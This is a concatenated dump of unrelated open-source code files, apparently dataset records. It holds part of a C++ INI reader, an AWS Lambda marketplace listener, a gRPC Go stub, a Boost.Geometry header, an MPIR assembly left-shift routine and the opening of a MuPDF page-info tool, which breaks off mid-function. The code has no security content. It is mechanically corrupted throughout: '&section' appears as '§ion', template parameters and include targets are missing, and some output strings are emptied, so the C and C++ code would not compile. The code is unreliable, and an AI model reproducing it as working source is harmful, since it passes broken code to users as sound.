status.\n */\n void EraseAll()\n {\n eraseElements(ini_content);\n eraseElements(section_order);\n cached_section.clear();\n cached_section_content = ini_content.end();\n parsed = false;\n }\n\n ini_data_struct::iterator GetItemsRef(const std::string §ion)\n {\n if(!parsed || !SectionExist(section))\n return ini_content.end();\n\n if(cached_section != section)\n {\n cached_section = section;\n cached_section_content = ini_content.find(section);\n }\n return cached_section_content;\n }\n\n /**\n * @brief Retrieve all items in the given section.\n */\n int GetItems(const std::string §ion, string_multimap &data)\n {\n auto section_ref = GetItemsRef(section);\n if(section_ref == ini_content.end())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n\n data = section_ref->second;\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n /**\n * @brief Retrieve all items in current section.\n */\n int GetItems(string_multimap &data)\n {\n return current_section.size() ? GetItems(current_section, data) : -1;\n }\n\n /**\n * @brief Retrieve item(s) with the same name prefix in the given section.\n */\n int GetAll(const std::string §ion, const std::string &itemName, string_array &results) //retrieve item(s) with the same itemName prefix\n {\n if(!parsed)\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTPARSED);\n\n auto section_ref = GetItemsRef(section);\n if(section_ref == ini_content.end())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n\n for(auto &x : section_ref->second)\n {\n if(x.first.find(itemName) == 0)\n results.emplace_back(x.second);\n }\n\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n /**\n * @brief Retrieve item(s) with the same name prefix in current section.\n */\n int GetAll(const std::string &itemName, string_array &results)\n {\n return current_section.size() ? GetAll(current_section, itemName, results) : -1;\n }\n\n /**\n * @brief Retrieve one item with the exact same name in the given section.\n */\n std::string Get(const std::string §ion, const std::string &itemName) //retrieve one item with the exact same itemName\n {\n if(!parsed || !SectionExist(section))\n return std::string();\n\n if(cached_section != section)\n {\n cached_section = section;\n cached_section_content = ini_content.find(section);\n }\n\n auto &cache = cached_section_content->second;\n auto iter = std::find_if(cache.begin(), cache.end(), [&](auto x) { return x.first == itemName; });\n if(iter != cache.end())\n return iter->second;\n\n return std::string();\n }\n\n /**\n * @brief Retrieve one item with the exact same name in current section.\n */\n std::string Get(const std::string &itemName)\n {\n return current_section.size() ? Get(current_section, itemName) : std::string();\n }\n\n /**\n * @brief Retrieve one item with the exact same name in the given section, if exist.\n */\n int GetIfExist(const std::string §ion, const std::string &itemName, std::string &target) //retrieve one item with the exact same itemName\n {\n if(!parsed)\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTPARSED);\n\n if(ItemExist(section, itemName))\n {\n target = Get(section, itemName);\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n }\n\n /**\n * @brief Retrieve one item with the exact same name in current section, if exist.\n */\n int GetIfExist(const std::string &itemName, std::string &target)\n {\n return current_section.size() ? GetIfExist(current_section, itemName, target) : INIREADER_EXCEPTION_NOTEXIST;\n }\n\n /**\n * @brief Retrieve one boolean item value with the exact same name in the given section.\n */\n bool GetBool(const std::string §ion, const std::string &itemName)\n {\n return Get(section, itemName) == \"true\";\n }\n\n /**\n * @brief Retrieve one boolean item value with the exact same name in current section.\n */\n bool GetBool(const std::string &itemName)\n {\n return current_section.size() ? Get(current_section, itemName) == \"true\" : false;\n }\n\n /**\n * @brief Retrieve one boolean item value with the exact same name in the given section.\n */\n int GetBoolIfExist(const std::string §ion, const std::string &itemName, bool &target)\n {\n std::string result;\n int retval = GetIfExist(section, itemName, result);\n if(retval != INIREADER_EXCEPTION_NONE)\n return retval;\n if(result.size())\n target = result == \"true\";\n return INIREADER_EXCEPTION_NONE;\n }\n\n /**\n * @brief Retrieve one boolean item value with the exact same name in current section.\n */\n int GetBoolIfExist(const std::string &itemName, bool &target)\n {\n return current_section.size() ? GetBoolIfExist(current_section, itemName, target) : INIREADER_EXCEPTION_NOTEXIST;\n }\n\n /**\n * @brief Retrieve one number item value with the exact same name in the given section.\n */\n template int GetNumberIfExist(const std::string §ion, const std::string &itemName, T &target)\n {\n std::string result;\n int retval = GetIfExist(section, itemName, result);\n if(retval != INIREADER_EXCEPTION_NONE)\n return retval;\n if(result.size())\n target = to_number(result, target);\n return INIREADER_EXCEPTION_NONE;\n }\n\n /**\n * @brief Retrieve one number item value with the exact same name in current section.\n */\n template int GetNumberIfExist(const std::string &itemName, T &target)\n {\n return current_section.size() ? GetNumberIfExist(current_section, itemName, target) : INIREADER_EXCEPTION_NOTEXIST;\n }\n\n /**\n * @brief Retrieve one integer item value with the exact same name in the given section.\n */\n int GetIntIfExist(const std::string §ion, const std::string &itemName, int &target)\n {\n return GetNumberIfExist(section, itemName, target);\n }\n\n /**\n * @brief Retrieve one integer item value with the exact same name in current section.\n */\n int GetIntIfExist(const std::string &itemName, int &target)\n {\n return GetNumberIfExist(itemName, target);\n }\n\n /**\n * @brief Retrieve one integer item value with the exact same name in the given section.\n */\n int GetInt(const std::string §ion, const std::string &itemName)\n {\n return to_int(Get(section, itemName), 0);\n }\n\n /**\n * @brief Retrieve one integer item value with the exact same name in current section.\n */\n int GetInt(const std::string &itemName)\n {\n return GetInt(current_section, itemName);\n }\n\n /**\n * @brief Retrieve the first item found in the given section.\n */\n std::string GetFirst(const std::string §ion, const std::string &itemName) //return the first item value found in section\n {\n if(!parsed)\n return std::string();\n string_array result;\n if(GetAll(section, itemName, result) != -1)\n return result[0];\n else\n return std::string();\n }\n\n /**\n * @brief Retrieve the first item found in current section.\n */\n std::string GetFirst(const std::string &itemName)\n {\n return current_section.size() ? GetFirst(current_section, itemName) : std::string();\n }\n\n /**\n * @brief Retrieve a string style array with specific separator and write into integer array.\n */\n template void GetIntArray(const std::string §ion, const std::string &itemName, const std::string &separator, T &Array)\n {\n string_array vArray;\n unsigned int index, UBound = sizeof(Array) / sizeof(Array[0]);\n vArray = split(Get(section, itemName), separator);\n for(index = 0; index < vArray.size() && index < UBound; index++)\n Array[index] = stoi(vArray[index]);\n for(; index < UBound; index++)\n Array[index] = 0;\n }\n\n /**\n * @brief Retrieve a string style array with specific separator and write into integer array.\n */\n template void GetIntArray(const std::string &itemName, const std::string &separator, T &Array)\n {\n if(current_section.size())\n GetIntArray(current_section, itemName, separator, Array);\n }\n\n /**\n * @brief Add a std::string value with given values.\n */\n int Set(const std::string §ion, std::string itemName, std::string itemVal)\n {\n if(!section.size())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n\n if(!parsed)\n parsed = true;\n\n if(SectionExist(section))\n {\n string_multimap &mapTemp = ini_content.at(section);\n mapTemp.insert(std::pair(std::move(itemName), std::move(itemVal)));\n }\n else\n {\n string_multimap mapTemp;\n mapTemp.insert(std::pair(std::move(itemName), std::move(itemVal)));\n ini_content.insert(std::pair>(section, std::move(mapTemp)));\n section_order.emplace_back(section);\n }\n\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n /**\n * @brief Add a string value with given values.\n */\n int Set(std::string itemName, std::string itemVal)\n {\n if(!current_section.size())\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n return Set(current_section, std::move(itemName), std::move(itemVal));\n }\n\n /**\n * @brief Add a boolean value with given values.\n */\n int SetBool(const std::string §ion, std::string itemName, bool itemVal)\n {\n return Set(section, std::move(itemName), itemVal ? \"true\" : \"false\");\n }\n\n /**\n * @brief Add a boolean value with given values.\n */\n int SetBool(std::string itemName, bool itemVal)\n {\n return SetBool(current_section, std::move(itemName), itemVal);\n }\n\n /**\n * @brief Add a double value with given values.\n */\n int SetDouble(const std::string §ion, std::string itemName, double itemVal)\n {\n return Set(section, std::move(itemName), std::to_string(itemVal));\n }\n\n /**\n * @brief Add a double value with given values.\n */\n int SetDouble(std::string itemName, double itemVal)\n {\n return SetDouble(current_section, std::move(itemName), itemVal);\n }\n\n /**\n * @brief Add a long value with given values.\n */\n int SetLong(const std::string §ion, std::string itemName, long itemVal)\n {\n return Set(section, std::move(itemName), std::to_string(itemVal));\n }\n\n /**\n * @brief Add a long value with given values.\n */\n int SetLong(std::string itemName, long itemVal)\n {\n return SetLong(current_section, std::move(itemName), itemVal);\n }\n\n /**\n * @brief Add an array with the given separator.\n */\n template int SetArray(const std::string §ion, std::string itemName, const std::string &separator, T &Array)\n {\n std::string data;\n data = std::accumulate(std::begin(Array), std::end(Array), std::string(), [&](auto a, auto b) { return std::move(a) + std::to_string(b) + separator; });\n data.erase(data.size() - 1);\n return Set(section, std::move(itemName), data);\n }\n\n /**\n * @brief Add an array with the given separator.\n */\n template int SetArray(std::string itemName, const std::string &separator, T &Array)\n {\n return current_section.size() ? SetArray(current_section, std::move(itemName), separator, Array) : -1;\n }\n\n /**\n * @brief Rename an existing section.\n */\n int RenameSection(const std::string &oldName, std::string newName)\n {\n if(!SectionExist(oldName) || SectionExist(newName))\n return __priv_save_error_and_return(INIREADER_EXCEPTION_DUPLICATE);\n auto nodeHandler = ini_content.extract(oldName);\n nodeHandler.key() = std::move(newName);\n ini_content.insert(std::move(nodeHandler));\n std::replace(section_order.begin(), section_order.end(), oldName, newName);\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n\n /**\n * @brief Erase all items with the given name.\n */\n int Erase(const std::string §ion, const std::string &itemName)\n {\n int retVal;\n if(!SectionExist(section))\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n\n retVal = ini_content.at(section).erase(itemName);\n if(retVal && cached_section == section)\n {\n cached_section_content = ini_content.find(section);\n }\n return retVal;\n }\n\n /**\n * @brief Erase all items with the given name.\n */\n int Erase(const std::string &itemName)\n {\n return current_section.size() ? Erase(current_section, itemName) : -1;\n }\n\n /**\n * @brief Erase the first item with the given name.\n */\n int EraseFirst(const std::string §ion, const std::string &itemName)\n {\n string_multimap &mapTemp = ini_content.at(section);\n string_multimap::iterator iter = mapTemp.find(itemName);\n if(iter != mapTemp.end())\n {\n mapTemp.erase(iter);\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NONE);\n }\n else\n {\n return __priv_save_error_and_return(INIREADER_EXCEPTION_NOTEXIST);\n }\n }\n\n /**\n * @brief Erase the first item with the given name.\n */\n int EraseFirst(const std::string &itemName)\n {\n return current_section.size() ? EraseFirst(current_section, itemName) : -1;\n }\n\n /**\n * @brief Erase all items in the given section.\n */\n void EraseSection(const std::string §ion)\n {\n if(ini_content.find(section) == ini_content.end())\n return;\n eraseElements(ini_content.at(section));\n if(cached_section == section)\n {\n cached_section_content = ini_content.end();\n cached_section.erase();\n }\n }\n\n /**\n * @brief Erase all items in current section.\n */\n void EraseSection()\n {\n if(current_section.size())\n EraseSection(current_section);\n }\n\n /**\n * @brief Remove a section from INI.\n */\n void RemoveSection(const std::string §ion)\n {\n if(ini_content.find(section) == ini_content.end())\n return;\n ini_content.erase(section);\n if(cached_section == section)\n {\n cached_section.clear();\n cached_section_content = ini_content.end();\n }\n section_order.erase(std::find(section_order.begin(), section_order.end(), section));\n }\n\n /**\n * @brief Remove current section from INI.\n */\n void RemoveSection()\n {\n if(current_section.size())\n RemoveSection(current_section);\n }\n\n /**\n * @brief Export the whole INI data structure into a string.\n */\n std::string ToString()\n {\n std::string content, itemVal;\n\n if(!parsed)\n return std::string();\n\n for(auto &x : section_order)\n {\n string_size strsize = 0;\n content += \"[\" + x + \"]\\n\";\n if(ini_content.find(x) != ini_content.end())\n {\n auto section = ini_content.at(x);\n if(section.empty())\n {\n content += \"\\n\";\n continue;\n }\n for(auto iter = section.begin(); iter != section.end(); iter++)\n {\n if(iter->first != \"{NONAME}\")\n content += iter->first + \"=\";\n itemVal = iter->second;\n ProcessEscapeCharReverse(itemVal);\n content += itemVal + \"\\n\";\n if(std::next(iter) == section.end())\n strsize = itemVal.size();\n }\n }\n if(strsize)\n content += \"\\n\";\n }\n return content;\n }\n\n /**\n * @brief Export the whole INI data structure into a file.\n */\n int ToFile(const std::string &filePath)\n {\n return fileWrite(filePath, ToString(), true);\n }\n};\n\n#endif // INI_READER_H_INCLUDED\n"} -{"text": "// Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n'use strict'\n\n// FIXME: Marketplace support is currently broken\n\nconst controller = require('dev-portal-common/customers-controller')\n\nconsole.log('starting listener function')\n\nexports.handler = async (event) => {\n console.log('Received event:', JSON.stringify(event, null, 2))\n\n const message = JSON.parse(event.Records[0].Sns.Message)\n\n const action = message.action\n const customerId = message['customer-identifier']\n const productCode = message['product-code']\n\n switch (action) {\n case 'subscribe-success': return subscribe(customerId, productCode)\n case 'subscribe-fail': throw new Error('not implemented')\n case 'unsubscribe-pending': throw new Error('not implemented')\n case 'unsubscribe-complete': return unsubscribe(customerId, productCode)\n default:\n console.log('Unknown action type ' + action)\n throw new Error('Invalid action: ' + action)\n }\n}\n\nasync function subscribe (customerId, productCode) {\n console.log(`Subscribing customer ${customerId} to product code ${productCode}`)\n\n try {\n // get identity id for marketplace customer id\n const identityId = await new Promise((resolve, reject) => {\n controller.getCognitoIdentityId(customerId, reject, resolve)\n })\n console.log('Got cognito identity : ' + identityId)\n\n const usagePlan = await new Promise((resolve, reject) => {\n controller.getUsagePlanForProductCode(customerId, reject, resolve)\n })\n\n return await new Promise((resolve, reject) => {\n controller.subscribe(identityId, usagePlan.id, reject, resolve)\n })\n } catch (err) {\n console.log('error: ' + err)\n throw err\n }\n}\n\nasync function unsubscribe (customerId, productCode) {\n console.log(`Unsubscribing customer ${customerId} from product code ${productCode}`)\n\n try {\n // get identity id for marketplace customer id\n const identityId = await new Promise((resolve, reject) => {\n controller.getCognitoIdentityId(customerId, reject, resolve)\n })\n console.log('Got cognito identity : ' + identityId)\n\n const usagePlan = await new Promise((resolve, reject) => {\n controller.getUsagePlanForProductCode(customerId, reject, resolve)\n })\n\n return await new Promise((resolve, reject) => {\n controller.unsubscribe(identityId, usagePlan.id, reject, resolve)\n })\n } catch (err) {\n console.log('error: ' + err)\n throw err\n }\n}\n"} -{"text": "/*\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n// Package internal contains gRPC-internal code, to avoid polluting\n// the godoc of the top-level grpc package. It must not import any grpc\n// symbols to avoid circular dependencies.\npackage internal\n\nvar (\n\n\t// TestingUseHandlerImpl enables the http.Handler-based server implementation.\n\t// It must be called before Serve and requires TLS credentials.\n\t//\n\t// The provided grpcServer must be of type *grpc.Server. It is untyped\n\t// for circular dependency reasons.\n\tTestingUseHandlerImpl func(grpcServer interface{})\n\n\t// WithContextDialer is exported by clientconn.go\n\tWithContextDialer interface{} // func(context.Context, string) (net.Conn, error) grpc.DialOption\n\t// WithResolverBuilder is exported by clientconn.go\n\tWithResolverBuilder interface{} // func (resolver.Builder) grpc.DialOption\n)\n"} -{"text": "// Boost.Geometry (aka GGL, Generic Geometry Library)\n\n// Copyright (c) 2007-2012 Barend Gehrels, Amsterdam, the Netherlands.\n// Copyright (c) 2008-2012 Bruno Lalande, Paris, France.\n// Copyright (c) 2009-2012 Mateusz Loskot, London, UK.\n\n// This file was modified by Oracle on 2014.\n// Modifications copyright (c) 2014 Oracle and/or its affiliates.\n\n// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library\n// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\n\n#ifndef BOOST_GEOMETRY_VIEWS_DETAIL_NORMALIZED_VIEW_HPP\n#define BOOST_GEOMETRY_VIEWS_DETAIL_NORMALIZED_VIEW_HPP\n\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace boost { namespace geometry {\n\n\n#ifndef DOXYGEN_NO_DETAIL\n\nnamespace detail {\n\ntemplate \nstruct normalized_view\n{\n static const bool is_const = boost::is_const::value;\n\n //typedef typename ring_type::type ring_type;\n\n typedef typename detail::range_type::type range_type;\n\n typedef typename\n boost::mpl::if_c\n <\n is_const,\n range_type const,\n range_type\n >::type range;\n\n typedef typename\n reversible_view\n <\n range,\n order_as_direction\n <\n geometry::point_order::value\n >::value\n >::type reversible_type;\n\n typedef typename\n boost::mpl::if_c\n <\n is_const,\n reversible_type const,\n reversible_type\n >::type reversible;\n\n typedef typename\n closeable_view\n <\n reversible,\n geometry::closure::value\n >::type closeable_type;\n\n typedef typename\n boost::mpl::if_c\n <\n is_const,\n closeable_type const,\n closeable_type\n >::type closeable;\n \n explicit inline normalized_view(range & r)\n : m_reversible(r)\n , m_closeable(m_reversible)\n {}\n\n typedef typename boost::range_iterator::type iterator;\n typedef typename boost::range_const_iterator::type const_iterator;\n\n inline const_iterator begin() const { return boost::begin(m_closeable); }\n inline const_iterator end() const { return boost::end(m_closeable); }\n\n inline iterator begin() { return boost::begin(m_closeable); }\n inline iterator end() { return boost::end(m_closeable); }\n\nprivate:\n reversible_type m_reversible;\n closeable_type m_closeable;\n};\n\n} // namespace detail\n\n#endif // DOXYGEN_NO_DETAIL\n\n\n}} // namespace boost::geometry\n\n\n#endif // BOOST_GEOMETRY_VIEWS_DETAIL_NORMALIZED_VIEW_HPP\n"} -{"text": "\n; Copyright 2016 Jens Nurmann and Alexander Kruppa\n\n; This file is part of the MPIR Library.\n\n; The MPIR Library is free software; you can redistribute it and/or modify\n; it under the terms of the GNU Lesser General Public License as published\n; by the Free Software Foundation; either version 2.1 of the License, or (at\n; your option) any later version.\n\n; The MPIR Library is distributed in the hope that it will be useful, but\n; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n; License for more details.\n\n; You should have received a copy of the GNU Lesser General Public License\n; along with the MPIR Library; see the file COPYING.LIB. If not, write\n; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n; Boston, MA 02110-1301, USA.\n\n; mp_limb_t mpn_lshift(mp_ptr Op2, mp_srcptr Op1, mp_size_t Size1, unsigned int Shift)\n; Linux RAX RDI RSI RDX RCX\n; Win7 RAX RCX RDX R8 R9\n;\n; Description:\n; The function shifts Op1 left by n bit, stores the result in Op2 (non-\n; destructive shl) and hands back the shifted-out most significant bits of Op1.\n; The function operates decreasing in memory supporting in-place operation.\n;\n; Result:\n; - Op2[ Size1-1..0 ] := ( Op1[ Size1-1..0 ]:ShlIn ) << 1\n; - Op1[ 0 ] >> 63\n;\n; Caveats:\n; - caller must ensure that Shift is in [ 1..63 ]!\n; - currently Linux64 support only!\n; - the AVX version uses mnemonics only available on Haswell, Broadwell and\n; Skylake cores\n; - the behaviour of cache prefetching in combination with AVX shifting seems\n; somewhat erratic\n; - slight (a few clock cycles) degradation for 1/2 LD1$ sizes\n; - slight (a few percent) improvement for full LD1$ sizes\n; - substantial (>10%) improvement for 1/2 LD2$ sizes\n; - slight (a few percent) improvement for full LD2$ sizes\n; - slight (a few percent) degradation for 1/2 LD3$ sizes\n; - substantial (around 10%) degradation for full LD3$ sizes\n;\n; Comments:\n; - implemented, tested and benched on 31.03.2016 by jn\n; - includes prefetching\n; ============================================================================\n\n%define USE_WIN64\n\n%include 'yasm_mac.inc'\n\nBITS 64\n\n%ifdef USE_WIN64\n %define Op2 R11\n %define Op1 RDX\n %define Size1 R8\n %define Shift RCX\n %define Limb1 R9\n %define Limb2 R10\n %ifdef USE_PREFETCH\n %define Offs -512 ; No caller-saves regs left, use immediate\n %endif\n %define reg_save_list XMM, 6, 7\n%else\n %define Op2 RDI\n %define Op1 RSI\n %define Size1 RDX\n %define Shift RCX\n %define Limb1 R8\n %define Limb2 R9\n %ifdef USE_PREFETCH\n %define OFFS_REG 1\n %define Offs R10\n %endif\n%endif\n\n%define ShlDL0 XMM2 ; Attn: this must match ShlQL0 definition\n%define ShrDL0 XMM3 ; Attn: this must match ShrQL0 definition\n%define ShlDLCnt XMM6 ; Attn: this must match ShlQlCnt definition\n%define ShrDLCnt XMM7 ; Attn: this must match ShrQlCnt definition\n\n%define QLimb0 YMM0\n%define QLimb1 YMM1\n%define ShlQL0 YMM2\n%define ShrQL0 YMM3\n%define ShlQL1 YMM4\n%define ShrQL1 YMM5\n%define ShlQLCnt YMM6\n%define ShrQLCnt YMM7\n\n align 32\nFRAME_PROC mpn_lshift, 0, reg_save_list\n%ifdef USE_WIN64\n mov r11, rcx\n\tmov rcx, r9\n%endif\n xor EAX, EAX\n sub Size1, 1\n jc .Exit ; Size1=0 =>\n\n lea Op1, [Op1+8*Size1]\n lea Op2, [Op2+8*Size1]\n\n mov Limb1, [Op1]\n shld RAX, Limb1, CL\n\n or Size1, Size1\n je .lShlEquPost ; Size1=1 =>\n\n %ifdef USE_PREFETCH\n %ifdef OFFS_REG\n mov Offs, -512\n %endif\n %endif\n\n cmp Size1, 8\n jc .lShlEquFour ; AVX inefficient =>\n\n ; first align Op2 to 32 bytes\n test Op2, 8\n jne .lShlEquA16\n\n mov Limb2, [Op1-8]\n shld Limb1, Limb2, CL\n mov [Op2], Limb1\n mov Limb1, Limb2\n\n sub Op1, 8\n sub Op2, 8\n sub Size1, 1\n\n .lShlEquA16:\n\n test Op2, 16\n jne .lShlEquAVX\n\n mov Limb2, [Op1-8]\n shld Limb1, Limb2, CL\n mov [Op2], Limb1\n mov Limb1, [Op1-16]\n shld Limb2, Limb1, CL\n mov [Op2-8], Limb2\n\n sub Op1, 16\n sub Op2, 16\n sub Size1, 2\n\n .lShlEquAVX:\n\n ; initialize AVX shift counter\n vmovq ShlDLCnt, RCX\n neg RCX\n and RCX, 63 ; must do, as AVX shifts set result=0 if Shift>63!\n vmovq ShrDLCnt, RCX\n neg RCX\n and RCX, 63 ; must do, as AVX shifts set result=0 if Shift>63!\n vpbroadcastq ShlQLCnt, ShlDLCnt\n vpbroadcastq ShrQLCnt, ShrDLCnt\n\n ; pre-fetch first quad-limb\n vmovdqu QLimb0, [Op1-24]\n vpsrlvq ShrQL0, QLimb0, ShrQLCnt\n vpermq ShrQL0, ShrQL0, 10010011b\n\n sub Op1, 32\n sub Size1, 4\n jmp .lShlEquAVXCheck\n\n ; main loop (prefetching enabled; unloaded cache)\n ; - 0.60 cycles per limb in LD1$\n ; - 0.60-0.70 cycles per limb in LD2$\n ; - 0.70-0.90 cycles per limb in LD3$\n align 16\n .lShlEquAVXLoop:\n\n %ifdef USE_PREFETCH\n prefetchnta [Op1+Offs]\n %endif\n\n vmovdqu QLimb1, [Op1-24]\n vpsllvq ShlQL0, QLimb0, ShlQLCnt\n vmovdqu QLimb0, [Op1-56]\n vpsrlvq ShrQL1, QLimb1, ShrQLCnt\n vpermq ShrQL1, ShrQL1, 10010011b\n vpblendd ShrQL0, ShrQL0, ShrQL1, 00000011b\n vpor ShlQL0, ShlQL0, ShrQL0\n vpsllvq ShlQL1, QLimb1, ShlQLCnt\n vpsrlvq ShrQL0, QLimb0, ShrQLCnt\n vpermq ShrQL0, ShrQL0, 10010011b\n vpblendd ShrQL1, ShrQL1, ShrQL0, 00000011b\n vmovdqa [Op2-24], ShlQL0\n vpor ShlQL1, ShlQL1, ShrQL1\n vmovdqa [Op2-56], ShlQL1\n\n sub Op1, 64\n sub Op2, 64\n\n .lShlEquAVXCheck:\n\n sub Size1, 8\n jnc .lShlEquAVXLoop\n\n mov Limb1, [Op1]\n xor Limb2, Limb2\n shld Limb2, Limb1, CL\n%if 1\n vmovq ShlDL0, Limb2\n vpblendd ShrQL0, ShrQL0, ShlQL0, 3\n%else\n ; I am mixing in a single SSE4.1 instruction into otherwise pure AVX2\n ; this is generating stalls on Haswell & Broadwell architecture (Agner Fog)\n ; but it is only executed once and there is no AVX2 based alternative\n pinsrq ShrDL0, Limb2, 0 ; SSE4.1\n%endif\n vpsllvq ShlQL0, QLimb0, ShlQLCnt\n vpor ShlQL0, ShlQL0, ShrQL0\n vmovdqa [Op2-24], ShlQL0\n\n sub Op2, 32\n add Size1, 8\n\n ; shift remaining max. 7 limbs with SHLD mnemonic\n .lShlEquFour:\n\n sub Op1, 8\n test Size1, 4\n je .lShlEquTwo\n\n mov Limb2, [Op1]\n shld Limb1, Limb2, CL\n mov [Op2], Limb1\n mov Limb1, [Op1-8]\n shld Limb2, Limb1, CL\n mov [Op2-8], Limb2\n mov Limb2, [Op1-16]\n shld Limb1, Limb2, CL\n mov [Op2-16], Limb1\n mov Limb1, [Op1-24]\n shld Limb2, Limb1, CL\n mov [Op2-24], Limb2\n\n sub Op1, 32\n sub Op2, 32\n\n .lShlEquTwo:\n\n test Size1, 2\n je .lShlEquOne\n\n mov Limb2, [Op1]\n shld Limb1, Limb2, CL\n mov [Op2], Limb1\n mov Limb1, [Op1-8]\n shld Limb2, Limb1, CL\n mov [Op2-8], Limb2\n\n sub Op1, 16\n sub Op2, 16\n\n .lShlEquOne:\n\n test Size1, 1\n je .lShlEquPost\n\n mov Limb2, [Op1]\n shld Limb1, Limb2, CL\n mov [Op2], Limb1\n mov Limb1, Limb2\n\n sub Op2, 8\n\n .lShlEquPost:\n\n shl Limb1, CL\n mov [Op2], Limb1\n\n .Exit:\n\n vzeroupper\nEND_PROC reg_save_list\n.end:"} -{"text": "/*\n * Information tool.\n * Print information about pages of a pdf.\n */\n\n#include \"mupdf/fitz.h\"\n#include \"mupdf/pdf.h\"\n\n#include \n#include \n\nstatic void\ninfousage(void)\n{\n\tfprintf(stderr,\n\t\t\"usage: mutool pages [options] file.pdf [pages]\\n\"\n\t\t\"\\t-p -\\tpassword for decryption\\n\"\n\t\t\"\\tpages\\tcomma separated list of page numbers and ranges\\n\"\n\t\t);\n\texit(1);\n}\n\nstatic int\nshowbox(fz_context *ctx, fz_output *out, pdf_obj *page, char *text, pdf_obj *name)\n{\n\tfz_rect bbox;\n\tpdf_obj *obj;\n\tint failed = 0;\n\n\tfz_try(ctx)\n\t{\n\t\tobj = pdf_dict_get(ctx, page, name);\n\t\tif (!pdf_is_array(ctx, obj))\n\t\t\tbreak;\n\n\t\tbbox = pdf_to_rect(ctx, obj);\n\n\t\tfz_write_printf(ctx, out, \"<%s l=\\\"%g\\\" b=\\\"%g\\\" r=\\\"%g\\\" t=\\\"%g\\\" />\\n\", text, bbox.x0, bbox.y0, bbox.x1, bbox.y1);\n\t}\n\tfz_catch(ctx)\n\t{\n\t\tfailed = 1;\n\t}\n\n\treturn failed;\n}\n\nstatic int\nshownum(fz_context *ctx, fz_output *out, pdf_obj *page, char *text, pdf_obj *name)\n{\n\tpdf_obj *obj;\n\tint failed = 0;\n\n\tfz_try(ctx)\n\t{\n\t\tobj = pdf_dict_get(ctx, page, name);\n\t\tif (!pdf_is_number(ctx, obj))\n\t\t\tbreak;\n\n\t\tfz_write_printf(ctx, out, \"<%s v=\\\"%g\\\" />\\n\", text, pdf_to_real(ctx, obj));\n\t}\n\tfz_catch(ctx)\n\t{\n\t\tfailed = 1;\n\t}\n\n\treturn failed;\n}\n\nstatic int\nshowpage(fz_context *ctx, pdf_document *doc, fz_output *out, int page)\n{\n\tpdf_obj *pageref;\n\tint failed = 0;\n\n\tfz_write_printf(ctx, out, \"\\n\", page);\n\tfz_try(ctx)\n\t{\n\t\tpageref = pdf_lookup_page_obj(ctx, doc, page-1);\n\t\tif (!pageref)\n\t\t\tfz_throw(ctx, FZ_ERROR_GENERIC, \"cannot retrieve info from page %d\", page);\n\t}\n\tfz_catch(ctx)\n\t{\n\t\tfz_write_printf(ctx, out, \"Failed to gather information for page %d\\n\", page);\n\t\tfailed = 1;\n\t}\n\n\tif (!failed)\n\t{\n\t\tfailed |= showbox(ctx, out, pageref, \"MediaBox\", PDF_NAME(MediaBox));\n\t\tfailed |= showbox(ctx, out, pageref, \"CropBox\", PDF_NAME(CropBox));\n\t\tfailed |= showbox(ctx, out, pageref, \"ArtBox\", PDF_NAME(ArtBox));\n\t\tfailed |= showbox(ctx, out, pageref, \"BleedBox\", PDF_NAME(BleedBox));\n\t\tfailed |= showbox(ctx, out, pageref, \"TrimBox\", PDF_NAME(TrimBox));\n\t\tfailed |= shownum(ctx, out, pageref, \"Rotate\", PDF_NAME(Rotate));\n\t\tfailed |= shownum(ctx, out, pageref, \"UserUnit\", PDF_NAME(UserUnit));\n\t}\n\n\tfz_write_printf(ctx, out, \"\\n\");\n\n\treturn failed;\n}\n\nstatic int\nshowpages(fz_context *ctx, pdf_document *doc, fz_output *out, const char *pagelist)\n{\n\tint page, spage, epage;\n\tint pagecount;\n\tint ret = 0;\n\n\tif (!doc)\n\t\tinfousage();\n\n\tpagecount = pdf_count_pages(ctx, doc);\n\twhile ((pagelist = fz_parse_page_range(ctx, pagelist, &spage, &epage, pagecount)))\n\t{\n\t\tif (spage > epage)\n\t\t\tpage = spage, spage = epage, epage = page;\n\t\tfor (page = spage; page <= epage; page++)\n\t\t\tret |= showpage(ctx, doc, out, page);\n\t}\n\n\treturn ret;\n}\n\nstatic int\npdfpages_pages(fz_context *ctx, fz_output *out, char *filename, char *password, char *argv[], int argc)\n{\n\tenum { NO_FILE_OPENED, NO_INFO_GATHERED, INFO_SHOWN } state;\n\tint argidx = 0;\n\tpdf_document *doc = NULL;\n\tint ret = 0;\n\n\tstate 